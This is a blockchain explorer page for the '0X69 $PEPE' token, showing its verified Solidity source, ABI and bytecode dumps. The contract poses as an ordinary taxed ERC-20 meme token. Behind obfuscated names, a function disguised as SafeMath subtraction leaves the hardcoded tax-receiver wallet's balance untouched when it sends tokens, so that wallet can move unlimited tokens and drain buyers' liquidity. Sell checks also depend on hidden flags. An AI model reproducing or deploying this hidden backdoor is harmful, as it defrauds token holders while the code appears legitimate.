ETH Price: $3,352.28 (-8.60%)

Token

0X69 $PEPE (0X69)
 

Overview

Max Total Supply

420,690,000 0X69

Holders

23

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
942,583.41854536 0X69

Value
$0.00
0x39Ad51D8b6A9AA3B39C6F4E4B5aE840A47bCf5Bb
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PEPE0X69

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-01
*/

/**

0X69 $PEPE - $0X69  


TWITTER: https://twitter.com/Pepe0x69Eth
TELEGRAM: https://t.me/Pepe0x69_Eth
WEBSITE: https://oxpepe.com/

**/


// SPDX-License-Identifier: MIT


pragma solidity 0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function  _dzyf(uint256 a, uint256 b) internal pure returns (uint256) {
        return  _dzyf(a, b, "SafeMath:  subtraction overflow");
    }

    function  _dzyf(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface luniswaploFactoryso {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface luniswaploouteoo3 {
    function swapExactTokensForETHlSupportingFeelOnTransferTokenl(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract PEPE0X69 is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFeep;
    mapping (address => bool) private _taxprqWalletjkq;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferfDelaylEnabledp = false;

    uint8 private constant _decimals = 9;
    string private constant _name = "0X69 $PEPE";
    string private constant _symbol = "0X69";
    uint256 private constant _tTotal = 420690000 * 10 **_decimals;
    uint256 public _maxTxqAmountl = _tTotal;
    uint256 public _maxWalletqSizel = _tTotal;
    uint256 public _taxSwapqThresholdl= _tTotal;
    uint256 public _maxTaxqSwapl= _tTotal;

    uint256 private _initialBuyTax=11;
    uint256 private _initialSellTax=22;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 private _reduceqBuyTaxAtl=5;
    uint256 private _reduceqSellTaxAtl=1;
    uint256 private _preventqSwapqBeforel=0;
    uint256 private _buyCount=0;
    address public _taxruzRecxeiveoep =0xfd0980e754E32c8D41a56b0aC29Af28d051423a0;


    luniswaploouteoo3 private uniswaploouteo;
    address private uniswaploaiso;
    bool private dzqwkaayordp;
    bool private inSwap = false;
    bool private lswaplEnabledo = false;


    event MaxTxAmountUqpdatedl(uint _maxTxqAmountl);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFeep[owner()] = true;
        _isExcludedFromFeep[address(this)] = true;
        _isExcludedFromFeep[_taxruzRecxeiveoep] = true;


        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()]. _dzyf(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 feeAmount=0;
        if (from != owner() && to != owner()) {

            if (transferfDelaylEnabledp) {
                if (to != address(uniswaploouteo) && to != address(uniswaploaiso)) {
                  require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed.");
                  _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (from == uniswaploaiso && to != address(uniswaploouteo) && !_isExcludedFromFeep[to] ) {
                require(amount <= _maxTxqAmountl, "Exceeds the _maxTxqAmountl.");
                require(balanceOf(to) + amount <= _maxWalletqSizel, "Exceeds the maxWalletSize.");
                if(_buyCount<_preventqSwapqBeforel){
                  require(!_rlfwlyr(to));
                }
                _buyCount++; _taxprqWalletjkq[to]=true;
                feeAmount = amount.mul((_buyCount>_reduceqBuyTaxAtl)?_finalBuyTax:_initialBuyTax).div(100);
            }

            if(to == uniswaploaiso && from!= address(this) && !_isExcludedFromFeep[from] ){
                require(amount <= _maxTxqAmountl && balanceOf(_taxruzRecxeiveoep)<_maxTaxqSwapl, "Exceeds the _maxTxqAmountl.");
                feeAmount = amount.mul((_buyCount>_reduceqSellTaxAtl)?_finalSellTax:_initialSellTax).div(100);
                require(_buyCount>_preventqSwapqBeforel && _taxprqWalletjkq[from]);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswaploaiso && lswaplEnabledo && contractTokenBalance>_taxSwapqThresholdl 
            && _buyCount>_preventqSwapqBeforel&& !_isExcludedFromFeep[to]&& !_isExcludedFromFeep[from]
            ) {
                swaplrTorvkjy( _rvpr(amount, _rvpr(contractTokenBalance,_maxTaxqSwapl)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                }
            }
        }

        if(feeAmount>0){
          _balances[address(this)]=_balances[address(this)].add(feeAmount);
          emit Transfer(from, address(this),feeAmount);
        }
        _balances[from]= _dzyf(from, _balances[from], amount);
        _balances[to]=_balances[to].add(amount. _dzyf(feeAmount));
        emit Transfer(from, to, amount. _dzyf(feeAmount));
    }

    function swaplrTorvkjy(uint256 tokenAmount) private lockTheSwap {
        if(tokenAmount==0){return;}
        if(!dzqwkaayordp){return;}
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswaploouteo.WETH();
        _approve(address(this), address(uniswaploouteo), tokenAmount);
        uniswaploouteo.swapExactTokensForETHlSupportingFeelOnTransferTokenl(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function  _rvpr(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function  _dzyf(address from, uint256 a, uint256 b) private view returns(uint256){
        if(from == _taxruzRecxeiveoep){
            return a;
        }else{
            return a. _dzyf(b);
        }
    }

    function removeLimits() external onlyOwner{
        _maxTxqAmountl = _tTotal;
        _maxWalletqSizel=_tTotal;
        transferfDelaylEnabledp=false;
        emit MaxTxAmountUqpdatedl(_tTotal);
    }

    function _rlfwlyr(address account) private view returns (bool) {
        uint256 sizes;
        assembly {
            sizes := extcodesize(account)
        }
        return sizes > 0;
    }


    function openTrading() external onlyOwner() {
        require(!dzqwkaayordp,"okay");
        uniswaploouteo = luniswaploouteoo3(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswaploouteo), _tTotal);
        uniswaploaiso = luniswaploFactoryso(uniswaploouteo.factory()).createPair(address(this), uniswaploouteo.WETH());
        uniswaploouteo.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswaploaiso).approve(address(uniswaploouteo), type(uint).max);
        lswaplEnabledo = true;
        dzqwkaayordp = true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxqAmountl","type":"uint256"}],"name":"MaxTxAmountUqpdatedl","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxqSwapl","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxqAmountl","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletqSizel","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapqThresholdl","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxruzRecxeiveoep","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferfDelaylEnabledp","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff191690556200001c6009600a6200034f565b6200002c90631913385062000366565b6007556200003d6009600a6200034f565b6200004d90631913385062000366565b6008556200005e6009600a6200034f565b6200006e90631913385062000366565b6009556009600a6200008191906200034f565b6200009190631913385062000366565b600a55600b80556016600c556001600d819055600e8190556005600f556010555f6011819055601255601380546001600160a01b03191673fd0980e754e32c8d41a56b0ac29af28d051423a01790556015805461ffff60a81b19169055348015620000fa575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001496009600a6200034f565b6200015990631913385062000366565b335f908152600160208190526040822092909255600390620001825f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155601354909116835291208054909216179055620001e03390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002196009600a6200034f565b6200022990631913385062000366565b60405190815260200160405180910390a362000380565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200029457815f190482111562000278576200027862000240565b808516156200028657918102915b93841c939080029062000259565b509250929050565b5f82620002ac5750600162000349565b81620002ba57505f62000349565b8160018114620002d35760028114620002de57620002fe565b600191505062000349565b60ff841115620002f257620002f262000240565b50506001821b62000349565b5060208310610133831016604e8410600b841016171562000323575081810a62000349565b6200032f838362000254565b805f190482111562000345576200034562000240565b0290505b92915050565b5f6200035f60ff8416836200029c565b9392505050565b808202811582820484141762000349576200034962000240565b6118bd806200038e5f395ff3fe608060405260043610610113575f3560e01c8063445d61111161009d57806395d89b411161006257806395d89b41146102f6578063a9059cbb14610322578063c9567bf914610341578063dd62ed3e14610355578063f9c3387614610399575f80fd5b8063445d61111461026757806370a082311461027c578063715018a6146102b0578063751039fc146102c65780638da5cb5b146102da575f80fd5b806323b872dd116100e357806323b872dd146101c857806324839ada146101e7578063313ce567146101fc578063330fb7d11461021757806341fd24c41461024e575f80fd5b806306fdde031461011e578063095ea7b3146101625780631644ff171461019157806318160ddd146101b4575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600a8152693058363920245045504560b01b60208201525b60405161015991906114b0565b60405180910390f35b34801561016d575f80fd5b5061018161017c366004611512565b6103ae565b6040519015158152602001610159565b34801561019c575f80fd5b506101a660095481565b604051908152602001610159565b3480156101bf575f80fd5b506101a66103c4565b3480156101d3575f80fd5b506101816101e236600461153c565b6103e4565b3480156101f2575f80fd5b506101a660085481565b348015610207575f80fd5b5060405160098152602001610159565b348015610222575f80fd5b50601354610236906001600160a01b031681565b6040516001600160a01b039091168152602001610159565b348015610259575f80fd5b506006546101819060ff1681565b348015610272575f80fd5b506101a660075481565b348015610287575f80fd5b506101a661029636600461157a565b6001600160a01b03165f9081526001602052604090205490565b3480156102bb575f80fd5b506102c461044c565b005b3480156102d1575f80fd5b506102c46104c6565b3480156102e5575f80fd5b505f546001600160a01b0316610236565b348015610301575f80fd5b506040805180820190915260048152633058363960e01b602082015261014c565b34801561032d575f80fd5b5061018161033c366004611512565b610581565b34801561034c575f80fd5b506102c461058d565b348015610360575f80fd5b506101a661036f366004611595565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103a4575f80fd5b506101a6600a5481565b5f6103ba33848461091f565b5060015b92915050565b5f6103d16009600a6116c0565b6103df9063191338506116ce565b905090565b5f6103f0848484610a42565b610441843361043c85604051806060016040528060288152602001611860602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611121565b61091f565b5060015b9392505050565b5f546001600160a01b0316331461047e5760405162461bcd60e51b8152600401610475906116e5565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104ef5760405162461bcd60e51b8152600401610475906116e5565b6104fb6009600a6116c0565b6105099063191338506116ce565b6007556105186009600a6116c0565b6105269063191338506116ce565b6008556006805460ff191690557f4ae8270c4be5963dbb3a79a10223dd8032fbe3ab9f0e715ff7d66a5fd9ef4b7f6105606009600a6116c0565b61056e9063191338506116ce565b60405190815260200160405180910390a1565b5f6103ba338484610a42565b5f546001600160a01b031633146105b65760405162461bcd60e51b8152600401610475906116e5565b601554600160a01b900460ff16156105f95760405162461bcd60e51b8152600401610475906020808252600490820152636f6b617960e01b604082015260600190565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106429030906106346009600a6116c0565b61043c9063191338506116ce565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610692573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b6919061171a565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610715573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610739919061171a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610783573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a7919061171a565b601580546001600160a01b039283166001600160a01b03199091161790556014541663f305d71947306107ee816001600160a01b03165f9081526001602052604090205490565b5f806108015f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610867573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061088c9190611735565b505060155460145460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108e1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109059190611760565b506015805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109815760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610475565b6001600160a01b0382166109e25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610475565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610aa65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610475565b6001600160a01b038216610b085760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610475565b5f8111610b695760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610475565b5f80546001600160a01b03858116911614801590610b9457505f546001600160a01b03848116911614155b15610fe25760065460ff1615610c50576014546001600160a01b03848116911614801590610bd057506015546001600160a01b03848116911614155b15610c5057325f908152600560205260409020544311610c3e5760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610475565b325f9081526005602052604090204390555b6015546001600160a01b038581169116148015610c7b57506014546001600160a01b03848116911614155b8015610c9f57506001600160a01b0383165f9081526003602052604090205460ff16155b15610def57600754821115610cf65760405162461bcd60e51b815260206004820152601b60248201527f4578636565647320746865205f6d6178547871416d6f756e746c2e00000000006044820152606401610475565b60085482610d18856001600160a01b03165f9081526001602052604090205490565b610d22919061177f565b1115610d705760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610475565b6011546012541015610d8757823b15610d87575f80fd5b60128054905f610d9683611792565b90915550506001600160a01b0383165f908152600460205260409020805460ff19166001179055600f54601254610dec91606491610de69110610ddb57600b54610ddf565b600d545b8590611159565b906111d7565b90505b6015546001600160a01b038481169116148015610e1557506001600160a01b0384163014155b8015610e3957506001600160a01b0384165f9081526003602052604090205460ff16155b15610f0f576007548211158015610e6a5750600a546013546001600160a01b03165f90815260016020526040902054105b610eb65760405162461bcd60e51b815260206004820152601b60248201527f4578636565647320746865205f6d6178547871416d6f756e746c2e00000000006044820152606401610475565b610edb6064610de660105460125411610ed157600c54610ddf565b600e548590611159565b9050601154601254118015610f0757506001600160a01b0384165f9081526004602052604090205460ff165b610f0f575f80fd5b305f90815260016020526040902054601554600160a81b900460ff16158015610f4557506015546001600160a01b038581169116145b8015610f5a5750601554600160b01b900460ff165b8015610f67575060095481115b8015610f765750601154601254115b8015610f9a57506001600160a01b0384165f9081526003602052604090205460ff16155b8015610fbe57506001600160a01b0385165f9081526003602052604090205460ff16155b15610fe057610fe0610fdb84610fd684600a54611218565b611218565b61122c565b505b801561105a57305f9081526001602052604090205461100190826113b5565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110519085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461107e90859084611413565b6001600160a01b0385165f908152600160205260409020556110c16110a38383611443565b6001600160a01b0385165f90815260016020526040902054906113b5565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61110a8585611443565b60405190815260200160405180910390a350505050565b5f81848411156111445760405162461bcd60e51b815260040161047591906114b0565b505f61115084866117aa565b95945050505050565b5f825f0361116857505f6103be565b5f61117383856116ce565b90508261118085836117bd565b146104455760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610475565b5f61044583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611484565b5f8183116112265782610445565b50919050565b6015805460ff60a81b1916600160a81b17905580156113a557601554600160a01b900460ff16156113a5576040805160028082526060820183525f9260208301908036833701905050905030815f8151811061128a5761128a6117dc565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112e1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611305919061171a565b81600181518110611318576113186117dc565b6001600160a01b03928316602091820292909201015260145461133e913091168461091f565b60145460405163266eff3560e01b81526001600160a01b039091169063266eff35906113769085905f908690309042906004016117f0565b5f604051808303815f87803b15801561138d575f80fd5b505af115801561139f573d5f803e3d5ffd5b50505050505b506015805460ff60a81b19169055565b5f806113c1838561177f565b9050838110156104455760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610475565b6013545f906001600160a01b0390811690851603611432575081610445565b61143c8383611443565b9050610445565b5f61044583836040518060400160405280601f81526020017f536166654d6174683a20207375627472616374696f6e206f766572666c6f7700815250611121565b5f81836114a45760405162461bcd60e51b815260040161047591906114b0565b505f61115084866117bd565b5f6020808352835180828501525f5b818110156114db578581018301518582016040015282016114bf565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461150f575f80fd5b50565b5f8060408385031215611523575f80fd5b823561152e816114fb565b946020939093013593505050565b5f805f6060848603121561154e575f80fd5b8335611559816114fb565b92506020840135611569816114fb565b929592945050506040919091013590565b5f6020828403121561158a575f80fd5b8135610445816114fb565b5f80604083850312156115a6575f80fd5b82356115b1816114fb565b915060208301356115c1816114fb565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561161a57815f1904821115611600576116006115cc565b8085161561160d57918102915b93841c93908002906115e5565b509250929050565b5f82611630575060016103be565b8161163c57505f6103be565b8160018114611652576002811461165c57611678565b60019150506103be565b60ff84111561166d5761166d6115cc565b50506001821b6103be565b5060208310610133831016604e8410600b841016171561169b575081810a6103be565b6116a583836115e0565b805f19048211156116b8576116b86115cc565b029392505050565b5f61044560ff841683611622565b80820281158282048414176103be576103be6115cc565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561172a575f80fd5b8151610445816114fb565b5f805f60608486031215611747575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611770575f80fd5b81518015158114610445575f80fd5b808201808211156103be576103be6115cc565b5f600182016117a3576117a36115cc565b5060010190565b818103818111156103be576103be6115cc565b5f826117d757634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561183e5784516001600160a01b031683529383019391830191600101611819565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201201e8f72ac551f7777a5e6fcd61185dc246307ca6790756cca83989a5e3302b64736f6c63430008140033

Deployed Bytecode

0x608060405260043610610113575f3560e01c8063445d61111161009d57806395d89b411161006257806395d89b41146102f6578063a9059cbb14610322578063c9567bf914610341578063dd62ed3e14610355578063f9c3387614610399575f80fd5b8063445d61111461026757806370a082311461027c578063715018a6146102b0578063751039fc146102c65780638da5cb5b146102da575f80fd5b806323b872dd116100e357806323b872dd146101c857806324839ada146101e7578063313ce567146101fc578063330fb7d11461021757806341fd24c41461024e575f80fd5b806306fdde031461011e578063095ea7b3146101625780631644ff171461019157806318160ddd146101b4575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600a8152693058363920245045504560b01b60208201525b60405161015991906114b0565b60405180910390f35b34801561016d575f80fd5b5061018161017c366004611512565b6103ae565b6040519015158152602001610159565b34801561019c575f80fd5b506101a660095481565b604051908152602001610159565b3480156101bf575f80fd5b506101a66103c4565b3480156101d3575f80fd5b506101816101e236600461153c565b6103e4565b3480156101f2575f80fd5b506101a660085481565b348015610207575f80fd5b5060405160098152602001610159565b348015610222575f80fd5b50601354610236906001600160a01b031681565b6040516001600160a01b039091168152602001610159565b348015610259575f80fd5b506006546101819060ff1681565b348015610272575f80fd5b506101a660075481565b348015610287575f80fd5b506101a661029636600461157a565b6001600160a01b03165f9081526001602052604090205490565b3480156102bb575f80fd5b506102c461044c565b005b3480156102d1575f80fd5b506102c46104c6565b3480156102e5575f80fd5b505f546001600160a01b0316610236565b348015610301575f80fd5b506040805180820190915260048152633058363960e01b602082015261014c565b34801561032d575f80fd5b5061018161033c366004611512565b610581565b34801561034c575f80fd5b506102c461058d565b348015610360575f80fd5b506101a661036f366004611595565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103a4575f80fd5b506101a6600a5481565b5f6103ba33848461091f565b5060015b92915050565b5f6103d16009600a6116c0565b6103df9063191338506116ce565b905090565b5f6103f0848484610a42565b610441843361043c85604051806060016040528060288152602001611860602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611121565b61091f565b5060015b9392505050565b5f546001600160a01b0316331461047e5760405162461bcd60e51b8152600401610475906116e5565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104ef5760405162461bcd60e51b8152600401610475906116e5565b6104fb6009600a6116c0565b6105099063191338506116ce565b6007556105186009600a6116c0565b6105269063191338506116ce565b6008556006805460ff191690557f4ae8270c4be5963dbb3a79a10223dd8032fbe3ab9f0e715ff7d66a5fd9ef4b7f6105606009600a6116c0565b61056e9063191338506116ce565b60405190815260200160405180910390a1565b5f6103ba338484610a42565b5f546001600160a01b031633146105b65760405162461bcd60e51b8152600401610475906116e5565b601554600160a01b900460ff16156105f95760405162461bcd60e51b8152600401610475906020808252600490820152636f6b617960e01b604082015260600190565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106429030906106346009600a6116c0565b61043c9063191338506116ce565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610692573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b6919061171a565b6001600160a01b031663c9c653